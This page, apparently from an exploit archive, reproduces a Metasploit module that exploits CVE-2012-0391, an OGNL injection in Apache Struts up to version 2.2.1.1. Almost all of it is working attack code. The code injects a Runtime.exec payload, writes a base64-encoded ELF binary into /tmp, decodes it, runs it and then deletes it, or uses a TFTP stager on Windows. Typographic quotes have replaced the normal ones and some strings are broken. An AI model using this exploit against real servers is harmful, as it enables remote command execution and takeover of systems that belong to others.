Apache Struts Remote Command Execution Exploit

Summary

Apache Struts <= 2.2.1.1 suffers from remote command execution vulnerability

Credit:

Details

Vulnerable Systems:
 * Apache Struts <= 2.2.1.1 require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStagerTFTP include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => ‘Apache Struts <= 2.2.1.1 Remote Command Execution’,
‘Description’ => %q{
This module exploits a remote command execution vulnerability in
Apache Struts versions < 2.2.1.1. This issue is caused because the
ExceptionDelegator interprets parameter values as OGNL expressions
during certain exception handling for mismatched data types of properties,
which allows remote attackers to execute arbitrary Java code via a
crafted parameter.
},
‘Author’ =>
[
‘Johannes Dahse’, # Vulnerability discovery and PoC
‘Andreas Nusser’, # Vulnerability discovery and PoC
‘juan vazquez’, # Metasploit module
‘sinn3r’ # Metasploit module
],
‘License’ => MSF_LICENSE,
‘Version’ => ‘$Revision: $’,
‘References’ =>
[
[ ‘CVE’, ‘2012-0391’],
[ ‘OSVDB’, ‘78277’],
[ ‘EDB’, ‘18329’],
[ ‘URL’, ‘https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt’]
],
‘Platform’ => [ ‘win’, ‘linux’],
‘Privileged’ => true,
‘Targets’ =>
[
[‘Windows Universal’,
{
‘Arch’ => ARCH_X86,
‘Platform’ => ‘win’
}
],
[‘Linux Universal’,
{
‘Arch’ => ARCH_X86,
‘Platform’ => ‘linux’
}
],
],
‘DisclosureDate’ => ‘Jan 06 2012’,
‘DefaultTarget’ => 0))

register_options(
[
Opt::RPORT(8080),
OptString.new(‘TARGETURI’, [ true, ‘The path to a struts application action and the parameter to inject ie. /HelloWorldStruts2/hello?name=test&id=INJECT’, ”]),
OptString.new(‘CMD’, [ false, ‘Execute this command instead of using command stager’, ” ])
], self.class)
end

def execute_command(cmd, opts = {})

uri = String.new(datastore[‘TARGETURI’])
uri.gsub!(/INJECT/, ”%2b(%23_memberAccess[‘allowStaticMethodAccess’]=true,@java.lang.Runtime@getRuntime().exec(‘CMD’))%2b”) if target[‘Platform’] == ‘win’
uri.gsub!(/INJECT/, ”%2b(%23_memberAccess[‘allowStaticMethodAccess’]=true,@java.lang.Runtime@getRuntime().exec(‘CMD’.split(‘@’)))%2b”) if target[‘Platform’] == ‘linux’
uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))

vprint_status(‘Attempting to execute: #{cmd}’)

resp = send_request_raw({
‘uri’ => uri,
‘version’ => ‘1.1’,
‘method’ => ‘GET’,
}, 5)

end

def windows_stager
exe_fname = rand_text_alphanumeric(4+rand(4)) + ‘.exe’

print_status(‘Sending request to #{datastore[‘RHOST’]}:#{datastore[‘RPORT’]}’)
execute_cmdstager({ :temp => ‘.’})
@payload_exe = payload_exe

print_status(‘Attempting to execute the payload…’)
execute_command(@payload_exe)
end

def linux_stager
cmds = ‘/bin/sh@-c@echo LINE | tee FILE’
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
base64 = Rex::Text.encode_base64(exe)
base64.gsub!(/=/, ‘\u003d’)
file = rand_text_alphanumeric(4+rand(4))

execute_command(‘/bin/sh@-c@touch /tmp/#{file}.b64’)
cmds.gsub!(/FILE/, ‘/tmp/’ + file + ‘.b64’)
base64.each_line do |line|
line.chomp!
cmd = cmds
cmd.gsub!(/LINE/, line)
execute_command(cmds)
end

execute_command(‘/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}’)
execute_command(‘/bin/sh@-c@chmod +x /tmp/#{file}’)
execute_command(‘/bin/sh@-c@rm /tmp/#{file}.b64’)

execute_command(‘/bin/sh@-c@/tmp/#{file}’)
@payload_exe = ‘/tmp/’ + file
end

def on_new_session(client)
if target[‘Platform’] == ‘linux’
print_status(‘Deleting #{@payload_exe} payload file’)
execute_command(‘/bin/sh@-c@rm #{@payload_exe}’)
else
print_status(‘Windows does not allow running executables to be deleted’)
print_status(‘Delete the #{@payload_exe} file manually after migrating’)
end
end

def exploit
if not datastore[‘CMD’].empty?
print_status(‘Executing user supplied command’)
execute_command(datastore[‘CMD’])
return
end

case target[‘Platform’]
when ‘linux’
linux_stager
when ‘win’
windows_stager
else
raise RuntimeError, ‘Unsupported target platform!’
end

handler
end
end

CVE Information:
2012-0391

Disclosure Timeline:
Published: 2012-06-05

Categories: Exploits